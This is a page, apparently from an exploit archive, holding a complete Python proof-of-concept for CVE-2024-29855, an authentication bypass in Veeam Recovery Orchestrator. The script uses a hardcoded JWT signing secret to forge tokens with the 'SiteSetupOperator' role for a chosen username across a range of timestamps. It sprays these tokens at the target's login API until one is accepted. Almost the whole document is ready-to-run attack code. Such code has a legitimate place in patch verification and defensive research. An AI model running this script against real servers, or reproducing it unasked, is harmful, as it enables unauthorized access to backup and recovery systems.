4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-29855.py PY
"""
Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""


banner = r"""
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
                                                                                    
        (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) 
        
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        
        (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
        
        """

""""""

import jwt
import time
import warnings
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor
import signal
import sys

warnings.filterwarnings("ignore")

jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="
counter = 0
def exploit_token(token):
    global counter
    url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData"
    headers = {"Authorization": f"Bearer {token}"}
    try:
        res = requests.get(url, verify=False, headers=headers)
        if(res.status_code == 200):
            print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}")
            counter = 21
            sys.exit(0)
        if(args.debug or counter == 10):
            print(f"(INFO) Spraying JWT Tokens: {res.status_code}")
            counter = 0
    except requests.exceptions.RequestException as e:
        if args.debug:
            print(f"(INFO) Request failed: {e}")
            
    counter += 1

def generate_token_and_exploit(current_time):
    claims = {
        "unique_name": args.username,
        "role": "SiteSetupOperator",
        "nbf": current_time,
        "exp": current_time + 900,
        "iat": current_time
    }
    encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256")
    exploit_token(encoded_jwt)

def signal_handler(sig, frame):
    print('Interrupted! Shutting down gracefully...')
    executor.shutdown(wait=False)
    sys.exit(0)

if __name__ == "__main__":
    print(banner)
    parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.")
    parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True)
    parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True)
    parser.add_argument("--username", type=str, help="[email protected] or evilcorp\\administrator", required=True)
    parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True)
    parser.add_argument("--debug", action="store_true", help="Enable debug mode")
    args = parser.parse_args()

    start_time = args.start_time
    end_time = args.end_time

    signal.signal(signal.SIGINT, signal_handler)

    with ThreadPoolExecutor() as executor:
        signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))
        
        current_time = start_time
        while current_time < end_time:
            try:
                executor.submit(generate_token_and_exploit, current_time)
                current_time += 1
            except KeyboardInterrupt:
                print("Keyboard interrupt received, shutting down...")
                executor.shutdown(wait=False)
                sys.exit(0)